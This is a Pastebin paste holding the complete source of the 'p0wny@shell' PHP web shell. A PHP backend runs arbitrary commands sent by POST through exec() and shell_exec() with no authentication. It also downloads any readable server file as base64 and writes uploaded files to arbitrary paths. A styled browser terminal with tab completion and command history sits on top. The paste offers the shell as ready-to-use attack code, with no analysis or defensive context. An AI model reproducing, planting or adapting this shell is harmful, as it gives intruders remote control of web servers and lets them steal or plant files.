uodatrerk

Untitled

Nov 1st, 2019
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.73 KB | None | 0 0
  1. <?php
  2. function featureShell($cmd, $cwd) {
  3. $stdout = array();
  4. if (preg_match("/^\s*cd\s*$/", $cmd)) {
  5. // pass
  6. } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
  7. chdir($cwd);
  8. preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  9. chdir($match[1]);
  10. } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
  11. chdir($cwd);
  12. preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  13. return featureDownload($match[1]);
  14. } else {
  15. chdir($cwd);
  16. exec($cmd, $stdout);
  17. }
  18. return array(
  19. "stdout" => $stdout,
  20. "cwd" => getcwd()
  21. );
  22. }
  23. function featurePwd() {
  24. return array("cwd" => getcwd());
  25. }
  26. function featureHint($fileName, $cwd, $type) {
  27. chdir($cwd);
  28. if ($type == 'cmd') {
  29. $cmd = "compgen -c $fileName";
  30. } else {
  31. $cmd = "compgen -f $fileName";
  32. }
  33. $cmd = "/bin/bash -c \"$cmd\"";
  34. $files = explode("\n", shell_exec($cmd));
  35. return array(
  36. 'files' => $files,
  37. );
  38. }
  39. function featureDownload($filePath) {
  40. $file = @file_get_contents($filePath);
  41. if ($file === FALSE) {
  42. return array(
  43. 'stdout' => array('File not found / no read permission.'),
  44. 'cwd' => getcwd()
  45. );
  46. } else {
  47. return array(
  48. 'name' => basename($filePath),
  49. 'file' => base64_encode($file)
  50. );
  51. }
  52. }
  53. function featureUpload($path, $file, $cwd) {
  54. chdir($cwd);
  55. $f = @fopen($path, 'wb');
  56. if ($f === FALSE) {
  57. return array(
  58. 'stdout' => array('Invalid path / no write permission.'),
  59. 'cwd' => getcwd()
  60. );
  61. } else {
  62. fwrite($f, base64_decode($file));
  63. fclose($f);
  64. return array(
  65. 'stdout' => array('Done.'),
  66. 'cwd' => getcwd()
  67. );
  68. }
  69. }
  70. if (isset($_GET["feature"])) {
  71. $response = NULL;
  72. switch ($_GET["feature"]) {
  73. case "shell":
  74. $cmd = $_POST['cmd'];
  75. if (!preg_match('/2>/', $cmd)) {
  76. $cmd .= ' 2>&1';
  77. }
  78. $response = featureShell($cmd, $_POST["cwd"]);
  79. break;
  80. case "pwd":
  81. $response = featurePwd();
  82. break;
  83. case "hint":
  84. $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
  85. break;
  86. case 'upload':
  87. $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
  88. }
  89. header("Content-Type: application/json");
  90. echo json_encode($response);
  91. die();
  92. }
  93. ?><!DOCTYPE html>
  94.  
  95. <html>
  96.  
  97. <head>
  98. <meta charset="UTF-8" />
  99. <title>p0wny@shell:~#</title>
  100. <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  101. <style>
  102. html, body {
  103. margin: 0;
  104. padding: 0;
  105. background: #333;
  106. color: #eee;
  107. font-family: monospace;
  108. }
  109. #shell {
  110. background: #222;
  111. max-width: 800px;
  112. margin: 50px auto 0 auto;
  113. box-shadow: 0 0 5px rgba(0, 0, 0, .3);
  114. font-size: 10pt;
  115. display: flex;
  116. flex-direction: column;
  117. align-items: stretch;
  118. }
  119. #shell-content {
  120. height: 500px;
  121. overflow: auto;
  122. padding: 5px;
  123. white-space: pre-wrap;
  124. flex-grow: 1;
  125. }
  126. #shell-logo {
  127. font-weight: bold;
  128. color: #FF4180;
  129. text-align: center;
  130. }
  131. @media (max-width: 991px) {
  132. #shell-logo {
  133. display: none;
  134. }
  135. html, body, #shell {
  136. height: 100%;
  137. width: 100%;
  138. max-width: none;
  139. }
  140. #shell {
  141. margin-top: 0;
  142. }
  143. }
  144. @media (max-width: 767px) {
  145. #shell-input {
  146. flex-direction: column;
  147. }
  148. }
  149. .shell-prompt {
  150. font-weight: bold;
  151. color: #75DF0B;
  152. }
  153. .shell-prompt > span {
  154. color: #1BC9E7;
  155. }
  156. #shell-input {
  157. display: flex;
  158. box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  159. border-top: rgba(255, 255, 255, .05) solid 1px;
  160. }
  161. #shell-input > label {
  162. flex-grow: 0;
  163. display: block;
  164. padding: 0 5px;
  165. height: 30px;
  166. line-height: 30px;
  167. }
  168. #shell-input #shell-cmd {
  169. height: 30px;
  170. line-height: 30px;
  171. border: none;
  172. background: transparent;
  173. color: #eee;
  174. font-family: monospace;
  175. font-size: 10pt;
  176. width: 100%;
  177. align-self: center;
  178. }
  179. #shell-input div {
  180. flex-grow: 1;
  181. align-items: stretch;
  182. }
  183. #shell-input input {
  184. outline: none;
  185. }
  186. </style>
  187.  
  188. <script>
  189. var CWD = null;
  190. var commandHistory = [];
  191. var historyPosition = 0;
  192. var eShellCmdInput = null;
  193. var eShellContent = null;
  194. function _insertCommand(command) {
  195. eShellContent.innerHTML += "\n\n";
  196. eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
  197. eShellContent.innerHTML += escapeHtml(command);
  198. eShellContent.innerHTML += "\n";
  199. eShellContent.scrollTop = eShellContent.scrollHeight;
  200. }
  201. function _insertStdout(stdout) {
  202. eShellContent.innerHTML += escapeHtml(stdout);
  203. eShellContent.scrollTop = eShellContent.scrollHeight;
  204. }
  205. function featureShell(command) {
  206. _insertCommand(command);
  207. if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
  208. featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
  209. } else if (/^\s*clear\s*$/.test(command)) {
  210. // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
  211. eShellContent.innerHTML = '';
  212. } else {
  213. makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
  214. if (response.hasOwnProperty('file')) {
  215. featureDownload(response.name, response.file)
  216. } else {
  217. _insertStdout(response.stdout.join("\n"));
  218. updateCwd(response.cwd);
  219. }
  220. });
  221. }
  222. }
  223. function featureHint() {
  224. if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
  225. function _requestCallback(data) {
  226. if (data.files.length <= 1) return; // no completion
  227. if (data.files.length === 2) {
  228. if (type === 'cmd') {
  229. eShellCmdInput.value = data.files[0];
  230. } else {
  231. var currentValue = eShellCmdInput.value;
  232. eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
  233. }
  234. } else {
  235. _insertCommand(eShellCmdInput.value);
  236. _insertStdout(data.files.join("\n"));
  237. }
  238. }
  239. var currentCmd = eShellCmdInput.value.split(" ");
  240. var type = (currentCmd.length === 1) ? "cmd" : "file";
  241. var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
  242. makeRequest(
  243. "?feature=hint",
  244. {
  245. filename: fileName,
  246. cwd: CWD,
  247. type: type
  248. },
  249. _requestCallback
  250. );
  251. }
  252. function featureDownload(name, file) {
  253. var element = document.createElement('a');
  254. element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
  255. element.setAttribute('download', name);
  256. element.style.display = 'none';
  257. document.body.appendChild(element);
  258. element.click();
  259. document.body.removeChild(element);
  260. _insertStdout('Done.');
  261. }
  262. function featureUpload(path) {
  263. var element = document.createElement('input');
  264. element.setAttribute('type', 'file');
  265. element.style.display = 'none';
  266. document.body.appendChild(element);
  267. element.addEventListener('change', function () {
  268. var promise = getBase64(element.files[0]);
  269. promise.then(function (file) {
  270. makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
  271. _insertStdout(response.stdout.join("\n"));
  272. updateCwd(response.cwd);
  273. });
  274. }, function () {
  275. _insertStdout('An unknown client-side error occurred.');
  276. });
  277. });
  278. element.click();
  279. document.body.removeChild(element);
  280. }
  281. function getBase64(file, onLoadCallback) {
  282. return new Promise(function(resolve, reject) {
  283. var reader = new FileReader();
  284. reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
  285. reader.onerror = reject;
  286. reader.readAsDataURL(file);
  287. });
  288. }
  289. function genPrompt(cwd) {
  290. cwd = cwd || "~";
  291. var shortCwd = cwd;
  292. if (cwd.split("/").length > 3) {
  293. var splittedCwd = cwd.split("/");
  294. shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
  295. }
  296. return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
  297. }
  298. function updateCwd(cwd) {
  299. if (cwd) {
  300. CWD = cwd;
  301. _updatePrompt();
  302. return;
  303. }
  304. makeRequest("?feature=pwd", {}, function(response) {
  305. CWD = response.cwd;
  306. _updatePrompt();
  307. });
  308. }
  309. function escapeHtml(string) {
  310. return string
  311. .replace(/&/g, "&amp;")
  312. .replace(/</g, "&lt;")
  313. .replace(/>/g, "&gt;");
  314. }
  315. function _updatePrompt() {
  316. var eShellPrompt = document.getElementById("shell-prompt");
  317. eShellPrompt.innerHTML = genPrompt(CWD);
  318. }
  319. function _onShellCmdKeyDown(event) {
  320. switch (event.key) {
  321. case "Enter":
  322. featureShell(eShellCmdInput.value);
  323. insertToHistory(eShellCmdInput.value);
  324. eShellCmdInput.value = "";
  325. break;
  326. case "ArrowUp":
  327. if (historyPosition > 0) {
  328. historyPosition--;
  329. eShellCmdInput.blur();
  330. eShellCmdInput.focus();
  331. eShellCmdInput.value = commandHistory[historyPosition];
  332. }
  333. break;
  334. case "ArrowDown":
  335. if (historyPosition >= commandHistory.length) {
  336. break;
  337. }
  338. historyPosition++;
  339. if (historyPosition === commandHistory.length) {
  340. eShellCmdInput.value = "";
  341. } else {
  342. eShellCmdInput.blur();
  343. eShellCmdInput.focus();
  344. eShellCmdInput.value = commandHistory[historyPosition];
  345. }
  346. break;
  347. case 'Tab':
  348. event.preventDefault();
  349. featureHint();
  350. break;
  351. }
  352. }
  353. function insertToHistory(cmd) {
  354. commandHistory.push(cmd);
  355. historyPosition = commandHistory.length;
  356. }
  357. function makeRequest(url, params, callback) {
  358. function getQueryString() {
  359. var a = [];
  360. for (var key in params) {
  361. if (params.hasOwnProperty(key)) {
  362. a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
  363. }
  364. }
  365. return a.join("&");
  366. }
  367. var xhr = new XMLHttpRequest();
  368. xhr.open("POST", url, true);
  369. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  370. xhr.onreadystatechange = function() {
  371. if (xhr.readyState === 4 && xhr.status === 200) {
  372. try {
  373. var responseJson = JSON.parse(xhr.responseText);
  374. callback(responseJson);
  375. } catch (error) {
  376. alert("Error while parsing response: " + error);
  377. }
  378. }
  379. };
  380. xhr.send(getQueryString());
  381. }
  382. window.onload = function() {
  383. eShellCmdInput = document.getElementById("shell-cmd");
  384. eShellContent = document.getElementById("shell-content");
  385. updateCwd();
  386. eShellCmdInput.focus();
  387. };
  388. </script>
  389. </head>
  390.  
  391. <body>
  392. <div id="shell">
  393. <pre id="shell-content">
  394. <div id="shell-logo">
  395. ___ ____ _ _ _ _ _ <span></span>
  396. _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
  397. | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
  398. | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
  399. | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
  400. |_| |___/ \____/ <span></span>
  401. </div>
  402. </pre>
  403. <div id="shell-input">
  404. <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
  405. <div>
  406. <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
  407. </div>
  408. </div>
  409. </div>
  410. </body>
  411.  
  412. </html>
Add Comment
Please, Sign In to add comment